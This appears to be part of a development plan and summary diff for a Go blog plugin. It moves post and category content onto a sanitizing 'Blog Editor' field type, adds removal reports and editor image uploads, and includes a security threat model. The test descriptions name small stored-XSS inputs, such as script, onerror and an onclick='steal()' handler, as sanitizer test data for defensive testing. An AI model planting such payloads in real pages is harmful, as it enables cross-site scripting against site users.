<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md (final identifiers), ../summercms.go/modules/pact/capabilities.go (FormFieldType and friends), ../summercms.go/modules/cabana/tx_context.go (FieldWritesFromContext, WithFieldWrites, TxFromContext), ../summercms.go/modules/cabana/field_ml.go (TranslationWriter), ../summercms.go/docs/backend/field-types.md, ../sm-journal-plugin/classes/format_html.go (sanitizeHTML, sameTokens, htmlTokens, rawAttrNames), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/admin.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go (TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML), ../summercms.go/modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), ../summercms.go/modules/cabana/locale_order_test.go (recording TranslationWriter style), ../summercms.go/modules/bouncer/context.go (WithUser)</read_first>
<action>Make one post-content save path work end to end on the new types (per D-02, D-03, D-04, D-07, D-08, D-10, D-14).
Removal report (D-10 amended), in classes/format_html.go: add HTMLRemovals and SanitizeHTMLReport(doc) as described in the assumptions (in-order start-tag alignment; elements, attributes via rawAttrNames so a repeated name counts, comments, Other; at most 10 distinct names per list with exact counts; Empty() is false exactly when the returned string differs from doc). SanitizeHTML returns SanitizeHTMLReport's string, so both share one implementation; FormatHTML, FormatTranslation and CheckHTML keep their behaviour and tests.
classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10 amended, D-04): nil decodes to ""; any other non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; a string goes through SanitizeHTMLReport and the result is pact.FormFieldDecoded{Value: the sanitized string, Notices: removalNotices(report)}, so a value the policy keeps whole is returned byte for byte with no notice. removalNotices emits, in this order and only when non-zero: golem15.journal::lang.editor.removed_elements (Count ElementCount, Params names = the element names joined with ", ", plus "…" when more than 10 were cut), removed_attributes (the same for attributes), removed_comments (Count Comments), markup_changed (Other, no count). Decode never refuses because of markup. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
field_types.go (root package): (p *Plugin) FormFieldTypes() []pact.FormFieldType returns classes.BlogEditorTypes with a lazy accessor of p.app, plus the compile-time assertion that *Plugin implements pact.HasFormFieldTypes.
models/post/fields.yaml: content becomes type mlblogeditor with htmlColumn: content_html and uploadFolder: posts (D-08); excerpt and every other field unchanged.
controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).
Lang: add editor.content_invalid ("The content must be HTML text." / "Treść musi być tekstem HTML."), editor.image_invalid and editor.upload_failed to lang/en and lang/pl, and the notices in the phrasebook plural map format: en removed_elements one ":count element was removed: :names", other ":count elements were removed: :names"; removed_attributes one ":count attribute was removed: :names", other ":count attributes were removed: :names"; removed_comments one ":count HTML comment was removed", other ":count HTML comments were removed"; markup_changed "The HTML filter changed some markup."; pl with one, few, many and other ("Usunięto :count element: :names" / "Usunięto :count elementy: :names" / "Usunięto :count elementów: :names" / "Usunięto :count elementu: :names", likewise atrybut/atrybuty/atrybutów/atrybutu and komentarz HTML/komentarze HTML/komentarzy HTML/komentarza HTML; markup_changed "Filtr HTML zmienił część znaczników.").
Docker tests (correctness, compiled by vet, run on a Docker host): in posts_admin_smoke_test.go TestPostsFormCompiles expects "mlblogeditor" instead of "mlmarkdown" for content (keep the mltext, mltextarea and preset checks); TestPostsAdminCreateSmoke posts HTML content ("<p>Hello <strong>world</strong></p>" and the pl equivalent) and asserts stored.ContentHTML equals stored.Content exactly and that the create response has no meta.notices key; TestPostsAdminResaveKeepsHTML compares content_html with the exact content bytes (no TrimSpace); TestPostsAdminSaveSanitizesHTML (D-02, D-10 amended) keeps its unsafe input but now asserts that the save succeeds, that content and content_html are both the sanitized HTML and equal to each other for pl (host) and en (translation), that the "Data:" text is kept, and that the response's meta.notices names content for pl and en (removed elements a and base, removed attribute onerror).
Smoke: controllers/posts_editor_smoke_test.go TestBlogEditorTracerSmoke (package controllers, no database): CompileFormWithTypes("golem15.journal", postsAdminController{}, os.DirFS(".."), classes.BlogEditorTypes(nil)) gives content type mlblogeditor, element golem15-journal-blogeditor, translatable, typeOptions htmlColumn content_html; Decode returns a clean HTML string byte for byte with no notice, strips a script element and an onerror attribute and returns two notices (removed_elements Count 1 names "script", removed_attributes Count 1 names "onerror"), decodes nil to "" and refuses a number with a FormFieldError; Load serves content for an HTML value, content_html (via a stub Translated) for a markdown value, FormatHTML output when content_html is empty; with WithFieldWrites({content: [pl default "<p>A</p>", en "<p>B</p>"]}) and a backend principal, FormBeforeUpdate sets ContentHTML "<p>A</p>" and FormAfterUpdate writes content_html for en through a recording TranslationWriter published on a backpack app; without writes FormBeforeUpdate leaves ContentHTML unchanged (no goldmark).
Commit as "feat(classes): report what the HTML policy removes" (format_html.go only) and "feat(admin): post content on the Blog Editor field type" (blog_editor.go, field_types.go, posts.go, fields.yaml, lang, tests), staged by explicit path.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorTracerSmoke$' -v ./controllers/ 2&gt;&amp;1 | grep -- '^--- PASS: TestBlogEditorTracerSmoke'</automated>
<fails_when>Non-zero exit: go vet fails (including the updated Docker tests), or no "--- PASS: TestBlogEditorTracerSmoke" line (fields.yaml does not compile with the types, Decode stores unsafe HTML or refuses instead of stripping, a clean value changes or gets a notice, Load ignores D-07, or the hooks do not write content_html).</fails_when>
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
<fails_when>Non-zero exit: a classes or controllers test fails, or fewer than five "--- PASS: Test" lines for the FormatHTML, SanitizeHTML and CheckHTML tests (the API-path renderer, the byte-stability rule, the duplicate-attribute rule or the predicate regressed when SanitizeHTML moved onto SanitizeHTMLReport).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/models/post/fields.yaml` prints one line and `grep -n "htmlColumn: content_html" ../sm-journal-plugin/models/post/fields.yaml` prints one line.
- `grep -n "FieldWritesFromContext" ../sm-journal-plugin/controllers/posts.go` prints at least one line, and `grep -n "func (c postsAdminController) FormAfterUpdate" ../sm-journal-plugin/controllers/posts.go` prints one line.
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go` exits 0 (D-09: the public posts API code and the route table are unchanged since the pre-phase head).
- `grep -n "func SanitizeHTMLReport" ../sm-journal-plugin/classes/format_html.go` prints one line, and `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/classes/blog_editor.go` prints at least one line.
- `grep -n "CheckHTML(" ../sm-journal-plugin/classes/blog_editor.go ../sm-journal-plugin/controllers/posts.go` prints nothing (no call: the admin post path never refuses on markup).
- TestBlogEditorTracerSmoke passes with its compile, Decode (clean unchanged, strip with notices, nil, non-string), Load (HTML, markdown, empty content_html) and hook subtests.
- TestPostsFormCompiles in posts_admin_smoke_test.go looks for "mlblogeditor".
</acceptance_criteria>
<done>Post content compiles as mlblogeditor, unsafe HTML is stripped per locale with notices naming what was removed (clean HTML is stored byte for byte), markdown posts are served as their content_html, and a written content value lands in content_html for its locale without goldmark.</done>
</task>
<task type="auto" tdd="true">
<name>Task 2: Expansion: category content on blogeditor (stripped like posts, the 422 gate retired), editor uploads through the extracted media storage, README</name>
<files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/journal_api_categories_test.go, ../sm-journal-plugin/README.md</files>
<read_first>../sm-journal-plugin/classes/blog_editor.go (Task 1 state), ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go (prepareCategoryWrite 65-82), ../sm-journal-plugin/journal_api_categories_test.go (TestCategoriesAdminContent 138: assertContentRefused, the two unsafe subtests, blank update stores null), ../sm-journal-plugin/routes.go (public routes: GET categories only), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, ../summercms.go/modules/lagoon/attach (PublicURL), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (translatable list, lines 36-40)</read_first>
<behavior>
- StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
- UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
- Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
- Category content (D-19 amended): models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); Decode strips `<p onclick="steal()">x</p>` to `<p>x</p>` with a removed_attributes notice; prepareCategoryWrite maps blank (including whitespace only) to NULL and accepts every other value it receives, returning no error for markup.
</behavior>
<action>Finish the Journal half (per D-18, D-19, D-09).
Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
Category (D-19 amended, D-10): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span), so category content goes through the same strip-and-report Decode as posts. In controllers/categories.go, prepareCategoryWrite keeps the blank-to-NULL rule and drops the HTML gate and its 422; its doc comment says category content arrives already sanitized by the blogeditor Decode (D-10 amended, decision note), and that rows written by SQL or import commands are not sanitized here. Remove the classes import if nothing else in the file uses it. API parity: there is no public category write route (routes.go), so no public contract changes; if the executor finds one, it stops and reports instead of changing it.
Postgres test (correctness, compiled by vet, run on a Docker host): in journal_api_categories_test.go TestCategoriesAdminContent, replace the 422 refusal helper with an assertContentStripped helper. "unsafe create refused" becomes "unsafe create stripped": the POST answers 201, the row exists with content `<p>x</p>`, and the response's meta.notices has one entry for field content naming onclick. "unsafe update refused" becomes "unsafe update stripped": the PUT answers 200, the stored content is "x" (bluemonday drops the javascript: href and the bare a element), and meta.notices names the removed a element. The safe create keeps its byte-identical assertion and gains "no notices key in meta"; "blank update stores null" and "posts-only token forbidden" stay as they are.
Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options; what an admin save stores (the sanitized HTML in content and content_html per locale; a value the policy keeps whole is stored byte for byte; anything the policy does not allow is removed and the save names what was removed; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit); that category content follows the same rule and is no longer refused with a 422 (replace the "refuses content that fails classes.CheckHTML" sentence in the categories section); that the public API stays markdown-in (D-09); and editor uploads. Commit as "feat(admin): category content on the Blog Editor and editor image uploads" (category fields.yaml, categories.go, Upload, tests, README) and "refactor(api): share media storage with the editor upload" as two commits, staged by explicit path.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2&gt;&amp;1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
<fails_when>Non-zero exit: vet fails, or fewer than two "--- PASS: TestBlogEditor" lines (upload storage, sniffing, safe names, category compile or Load broken, or the Task 1 smoke regressed).</fails_when>
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
<fails_when>Non-zero exit: a classes test (including the moved media path tests) or a controllers/api test fails.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` prints one line.
- `grep -n "CheckHTML(" ../sm-journal-plugin/controllers/categories.go` prints nothing and `grep -n "ValidationError" ../sm-journal-plugin/controllers/categories.go` prints nothing (the 422 gate is retired).
- `grep -n "assertContentRefused" ../sm-journal-plugin/journal_api_categories_test.go` prints nothing and `grep -n "unsafe create stripped" ../sm-journal-plugin/journal_api_categories_test.go` prints one line; `go -C ../sm-journal-plugin vet ./...` compiles the updated test.
- `grep -n "categories" ../sm-journal-plugin/routes.go` prints only GET lines (no public category write path).
- `grep -n "StoreMedia" ../sm-journal-plugin/controllers/api/media.go` prints at least one line, and `grep -n '"path":' ../sm-journal-plugin/controllers/api/media.go` still prints one line (response shape kept).
- `grep -n "func StoreMedia" ../sm-journal-plugin/classes/media_store.go` prints one line, and classes/media_store_test.go holds TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot.
- TestBlogEditorUploadSmoke passes its sniff, svg, safe-name, size and category (compile, Load, strip with notice, blank to NULL) subtests.
- README.md mentions blogeditor and mlblogeditor, and its categories section no longer says the form refuses content with a 422.
</acceptance_criteria>
<done>Category content uses the Blog Editor and is stripped and reported like posts (no 422), editor images upload into the same media storage and URLs as the public route, and the public route's contract is unchanged.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Expansion: the HTML policy admits exactly the Blog Editor's own output, pinned by plan 02's corpus; CheckHTML and README documentation; decision note</name>
<reversibility rating="costly">D-05: the embed placeholder and the editor's alt and start attributes become stored content that the policy must keep accepting; narrowing the policy later would strip them from live posts on their next edited save.</reversibility>
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md</files>
<read_first>../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTMLReport from Task 1), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads, TestFormatHTMLSanitizesUnsafeHTML), ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html (plan 02), ~/go/pkg/mod/github.com/microcosm-cc/bluemonday@v1.0.27/policies.go (UGCPolicy) and helpers.go (AllowImages, AllowLists, AllowTables: what UGC already allows), ../sm-journal-plugin/README.md (Posts bullet, the CheckHTML row in API reference, Dependencies), .planning/notes/journal-html-sanitizing-bluemonday.md, ../vue-journal-layer/app/utils/htmlGate.ts (the mirror plan 04 extends with the same four rules)</read_first>
<behavior>
- Every entry of editor-corpus.json comes back from SanitizeHTML byte for byte, with an empty SanitizeHTMLReport and a nil CheckHTML.
- The placeholder `<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>` is kept, both through SanitizeHTML and as raw HTML inside markdown through FormatHTML.
- Still stripped and reported: data-embed other than youtube; data-id of 10 or 12 characters or holding a quote, space or angle bracket; data-embed or data-id on div, img or p; any other data attribute on figure; onload on the placeholder figure; an iframe next to a placeholder (the placeholder stays).
- img alt with a colon, a question mark and double quotes is kept; an alt whose text contains a double quote followed by an event-handler-like string stays one alt attribute (no new attribute appears in the tokens).
- ol start="3" is kept; start="x" on ol and start on ul are stripped.
- The 35 unsafePayloads are stripped exactly as before (TestFormatHTMLSanitizesUnsafeHTML unchanged) and the existing CheckHTML table passes unchanged.
- SanitizeHTMLReport: a style element, an onclick attribute, a comment, a repeated attribute, a style attribute that loses one property and more than ten distinct removed names each produce the documented report; for every unsafePayload, the imported-post fixture and every corpus entry, report.Empty() is true exactly when the output equals the input.
</behavior>
<action>Extend the shared policy for exactly the editor's own output (per D-05 amended, D-04, D-10).
In newHTMLPolicy add, each with a comment naming the Blog Editor output (Phase 16.2 D-05) it serves: data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$ on figure only; alt with any value on img only (added next to UGC's Paragraph rule; bluemonday accepts an attribute when any of its rules matches, and escapes the value on output); start matching ^[0-9]+$ on ol only. Add nothing else: no iframe allowance, no blanket data attribute allowance, no target, rel, style property or URL scheme. These are the same four rules plan 04 mirrors in the layer. If the corpus fails on any attribute outside this set, stop and report it (plans 03 and 04 must change together) instead of widening the policy.
classes/editor_policy_test.go: TestEditorOutputPassesPolicy reads ../tests/blogeditor/fixtures/editor-corpus.json with os.ReadFile (a missing or empty file fails the test, never skips) and checks every entry plus the placeholder and negative cases of the behavior block; TestSanitizeHTMLReport covers the report cases and the Empty property, including the imported-post fixture.
Update CheckHTML's doc comment: since Phase 16.2 no admin or API write path refuses with it (admin saves strip and report, D-10 amended); it reports whether the policy would change doc, the counterpart of the layer's isSafeJournalHtml, and the policy cross-check uses it. Extend TestBlogEditorTracerSmoke with the placeholder passing Decode unchanged with no notice.
README.md: the API reference gains SanitizeHTMLReport and HTMLRemovals rows; the CheckHTML row says it is a predicate that no write path refuses with any more; the Posts and policy text lists the four editor-output additions and says admin saves strip and name what they removed.
Decision note (summercms.go): append to the 2026-10-10 amendment a short paragraph and four table rows for the editor-output additions (figure data-embed and data-id, img alt any text, ol start), naming plan 02's corpus as the test that pins them and plan 04 as the layer mirror.
Commit in sm-journal-plugin as "feat(classes): allow the Blog Editor's own markup in the HTML policy" (format_html.go, editor_policy_test.go, the smoke test, README), and in summercms.go, separately, as "docs(16.2): record the editor-output policy extension" (the note only), each staged by explicit path.</action>
<verify>
<automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestEditorOutputPassesPolicy|TestSanitizeHTMLReport|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestFormatHTMLKeepsRawHTML|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 7</automated>
<fails_when>Non-zero exit: vet fails, or fewer than seven "--- PASS: Test" lines: a corpus entry is changed by the policy (an editor attribute is still stripped), a negative case is no longer stripped (the extension is too wide), the report disagrees with the output, or an existing FormatHTML, SanitizeHTML or CheckHTML test regressed.</fails_when>
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2&gt;&amp;1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
<fails_when>Non-zero exit or fewer than two "--- PASS: TestBlogEditor" lines: a classes or controllers test fails, or the placeholder no longer passes Decode unchanged.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "data-embed" ../sm-journal-plugin/classes/format_html.go` and `grep -n "editor-corpus.json" ../sm-journal-plugin/classes/editor_policy_test.go` each print at least one line.
- `grep -n "func TestEditorOutputPassesPolicy" ../sm-journal-plugin/classes/editor_policy_test.go` and `grep -n "func TestSanitizeHTMLReport" ../sm-journal-plugin/classes/editor_policy_test.go` each print one line.
- `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/README.md` prints at least one line.
- `grep -n "Phase 16.2" .planning/notes/journal-html-sanitizing-bluemonday.md` prints at least one line and the note names figure data-embed, data-id, img alt and ol start.
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go` exits 0 (the existing policy tests are not weakened).
</acceptance_criteria>
<done>The policy keeps every piece of markup the editor writes, still strips everything else it stripped before, and the corpus test fails the moment the editor's output and the policy drift apart.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| admin save body → Journal Decode | every locale's content value crosses here (through cabana) |
| editor upload → media bucket | user files become public URLs under /storage/app/uploads/public |
| Journal public API clients → posts and media routes | contract must not change (D-09) |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML (posts and categories) | high | mitigate | SanitizeHTMLReport on every locale value cabana decodes (default and non-default), for post and category content alike; the stored value is always the policy's output, never submitted bytes the policy would change; the removal is reported to the admin (no silent loss), and the layer sanitizes again before v-html; smoke and Postgres tests cover script, onerror, onclick and javascript: being stripped with notices and clean HTML staying byte for byte |
| T-16.2-31 | Tampering (stored XSS) | newHTMLPolicy editor-output extension | high | mitigate | Exactly four additions with the narrowest patterns (figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt as an escaped attribute value, ol start ^[0-9]+$); no iframe, URL, style, event or blanket data attribute; TestEditorOutputPassesPolicy pins the corpus and the negative cases, the 35 existing payload tests stay unchanged (diff check against c60abc6), and the iframe exists only in the layer's rendered page (D-05) |
| T-16.2-34 | Denial of Service | SanitizeHTMLReport and removal notices | low | mitigate | One pass over two token streams; at most 10 names per list with exact counts, so a body with thousands of removed parts yields at most four short notices (cabana also caps notices, T-16.2-33) |
| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |
</threat_model>
<verification>
- Task 1: go vet, TestBlogEditorTracerSmoke, the classes and controllers packages, the FormatHTML, SanitizeHTML and CheckHTML tests pass.
- Task 2: go vet, both TestBlogEditor smoke tests, the classes and controllers packages pass; the categories gate is gone.
- Task 3: the corpus cross-check, the report tests and every existing policy test pass.
- The root-package Postgres tests (TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent) compile and run on a Docker host before the release (plan 05 docker-first option) or before /msd-verify-work.
</verification>
<success_criteria>
- Post content on mlblogeditor and category content on blogeditor, both stripped by the shared policy per locale with a removal report; no admin save fails because of markup.
- Admin saves store the same sanitized HTML in both columns per written locale and leave untouched content byte-identical; the public API is unchanged.
- The policy admits exactly the editor's own output (corpus test) and nothing more.
- Editor uploads use the shared media storage with a magic-byte check.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md` when done, with the commit hashes, the smoke test output and the list of Postgres tests that still need a Docker host.
</output>

View File

@@ -0,0 +1,272 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 03
subsystem: journal-admin
tags: [sm-journal-plugin, field-types, blog-editor, bluemonday, sanitizing, uploads, cabana]
requires:
- phase: 16.2-01
provides: pact field type API (FormFieldType with ListValue(ctx, value), FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldError), cabana FieldWritesFromContext, WithFieldWrites, TxFromContext, CompileFormWithTypes, TranslationWriter
- phase: 16.2-02
provides: golem15-journal-blogeditor element, assets/dist/blogeditor.js and .css in adminFS, tests/blogeditor/fixtures/editor-corpus.json
provides:
- blogeditor and mlblogeditor field types on the Journal plugin (journal.Plugin.FormFieldTypes, classes.BlogEditorTypes, classes.BlogEditorElement, classes.LooksLikeHTML)
- classes.SanitizeHTMLReport and classes.HTMLRemovals (removal report behind the admin notices); SanitizeHTML is its string half
- newHTMLPolicy editor-output extension (figure data-embed/data-id, img alt, ol start)
- classes.StoreMedia, StoredMedia, MediaError, MediaMaxBytes, MediaFolderPattern shared by the public upload route and the editor upload
- postsAdminController FormAfterCreate/FormAfterUpdate writing content_html per written locale
- editor lang keys (content_invalid, image_invalid, upload_failed, removed_elements, removed_attributes, removed_comments, markup_changed) in en and pl
affects: [16.2-04, 16.2-05, 16.2-06, journal]
actuals:
tokens: 20600
tasks: 3
commits: 5
plan_head_before: 086e485215f69bd8a78f61fb1d5e69b2246366cd
plan_head_after: 2384a61e38f10afa522f38f8180cb62a32a9d9c0
commits_repo: ../sm-journal-plugin
docs_commits: [332993c]
tech-stack:
added: []
patterns:
- "Removal report by in-order start-tag alignment: greedy match on an attribute-compatible output tag, falling back to element-name alignment; Other covers any change nothing else explains, so the report is empty exactly when the output equals the input"
- "Companion column through Form hooks: FieldWritesFromContext Default write to the host column in FormBefore*, non-default writes through the TranslationWriter in FormAfter*"
- "Policy pinned by the editor's own corpus: every corpus entry must survive byte for byte with an empty report"
key-files:
created:
- ../sm-journal-plugin/classes/blog_editor.go
- ../sm-journal-plugin/classes/media_store.go
- ../sm-journal-plugin/classes/media_store_test.go
- ../sm-journal-plugin/classes/editor_policy_test.go
- ../sm-journal-plugin/field_types.go
- ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
modified:
- ../sm-journal-plugin/classes/format_html.go
- ../sm-journal-plugin/controllers/posts.go
- ../sm-journal-plugin/controllers/admin_registry.go
- ../sm-journal-plugin/controllers/categories.go
- ../sm-journal-plugin/controllers/api/media.go
- ../sm-journal-plugin/controllers/api/media_test.go
- ../sm-journal-plugin/models/post/fields.yaml
- ../sm-journal-plugin/models/category/fields.yaml
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/posts_admin_smoke_test.go
- ../sm-journal-plugin/journal_api_categories_test.go
- ../sm-journal-plugin/README.md
- .planning/notes/journal-html-sanitizing-bluemonday.md
key-decisions:
- "The policy needed exactly the four planned editor-output rules: a probe of the 15-entry corpus against the pre-change policy showed only figure data-embed/data-id, img alt and ol start being stripped; no fifth rule"
- "Editor upload: the sniffed type must be JPEG, PNG, GIF or WebP and must match an allowed extension; a name without an extension gets the sniffed one; a disallowed extension reaches StoreMedia's 'The file must be an image.'"
